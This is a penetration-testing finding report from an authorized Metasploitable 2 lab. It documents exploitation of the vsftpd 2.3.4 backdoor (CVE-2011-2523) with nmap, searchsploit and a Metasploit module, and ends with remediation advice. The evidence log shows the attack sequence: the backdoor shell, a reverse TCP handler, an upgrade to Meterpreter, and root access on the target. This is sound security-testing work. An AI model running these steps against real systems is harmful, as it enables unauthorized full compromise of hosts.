

Finding 01 — vsftpd 2.3.4 Backdoor

Penetration Testing Finding Report

Target	Metasploitable 2
Target IP	192.168.116.129
Port	21/TCP
Service	FTP
Version	vsftpd 2.3.4
CVE	CVE-2011-2523
Severity	Critical
Assessment Type	Authorized lab / educational assessment

Executive Summary

During an authorized penetration-testing exercise against the Metasploitable 2 lab, FTP was identified on TCP port 21 running vsftpd 2.3.4. Searchsploit identified a known backdoor command-execution exploit for this version. The vulnerability was then tested with the Metasploit module **exploit/unix/ftp/vsftpd_234_backdoor**. The supplied evidence shows successful exploitation followed by a Meterpreter session reporting the username **root** on the target.

1. Discovery

Nmap service enumeration identified the following service:

```
21/tcp open ftp vsftpd 2.3.4
```

The scan also showed that Anonymous FTP login was allowed. This is a separate security configuration issue and should be treated as an additional finding if confirmed and assessed.

2. Vulnerability Identification

Searchsploit was used to verify whether the discovered version had a known exploit. The supplied output returned:

```
vsftpd 2.3.4 - Backdoor Command Execution
```

The associated vulnerability identifier is **CVE-2011-2523**. The vulnerable backdoor is associated with certain distributed copies of vsftpd 2.3.4; the Metasploitable 2 lab instance used in this assessment was demonstrably exploitable.

3. Exploitation

The following Metasploit module was used against the lab target:

```
exploit/unix/ftp/vsftpd_234_backdoor
```

The supplied terminal evidence shows that exploitation established a shell session and that the session was upgraded to Meterpreter.

4. Result

The Meterpreter session reported the server username as **root**. The target information shown in the supplied evidence was:

Username	root
Operating System	Ubuntu 8.04
Kernel	Linux 2.6.24-16-server
Architecture	i686 / x86 Linux

5. Impact

Successful exploitation of the backdoor can provide remote command execution on the affected system. In this lab, the resulting session had root privileges, demonstrating the potential for complete compromise of the host.

6. Evidence

Evidence 1 — Nmap Service Enumeration

```
(root@kali)-[~]
# nmap -sC -p 21 --version-all 192.168.116.129 -A
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-31 20:42 EEST
Nmap scan report for 192.168.116.129
Host is up (0.0011s latency).
File System  nmapwindo...  nmapmeta...
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 192.168.116.128
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     vsFTPd 2.3.4 - secure, fast, stable
|_End of status
```

Evidence shows TCP/21 open with FTP and vsftpd 2.3.4 detected.

Evidence 2 — Searchsploit

(root@kali)-[~]	
# searchsploit vsftpd 2.3.4	
Exploit Title	Path
vsftpd 2.3.4 - Backdoor Command Execution	unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)	unix/remote/17491.rb

Evidence shows Searchsploit returning the vsftpd 2.3.4 backdoor command-execution exploit.

Evidence 3 — Successful Exploitation

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -u 12
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [12]
[*] Upgrading session ID: 12
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.116.128:4433
[*] Sending stage (1017704 bytes) to 192.168.116.129
[*] Command stager progress: 100.00% (773/773 bytes)
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions

Active sessions
-----
Id  Name  Type  Information  Connection
--  ---  ---  ---  ---
12  shell cmd/unix  192.168.116.128:37203 → 192.168.116.129:6200 (192.168.116.129)
13  meterpreter x86/linux  root @ metasploitable.localdomain  192.168.116.128:4433 → 192.168.116.129:33161 (192.168.116.129)

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions 13
[*] Starting interaction with 13...

meterpreter > [*] Meterpreter session 13 opened (192.168.116.128:4433 → 192.168.116.129:33161) at 2026-08-31 20:47:51 +0300

[*] Stopping exploit/multi/handler
Interrupt: use the 'exit' command to quit
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
meterpreter >
```

Evidence shows the Meterpreter session and the reported root username.

7. Remediation

1. Remove the affected vsftpd 2.3.4 installation from the system.
2. Replace it with a trusted, patched, and supported FTP implementation/version.
3. Disable Anonymous FTP unless it is explicitly required.
4. Restrict access to FTP using firewall rules and network access controls.
5. If a real production host were affected, investigate for compromise and rotate credentials/secrets that may have been exposed.

8. References

CVE-2011-2523 — vsftpd 2.3.4 backdoor vulnerability identifier.

This report is based on evidence captured from an authorized Metasploitable 2 laboratory environment.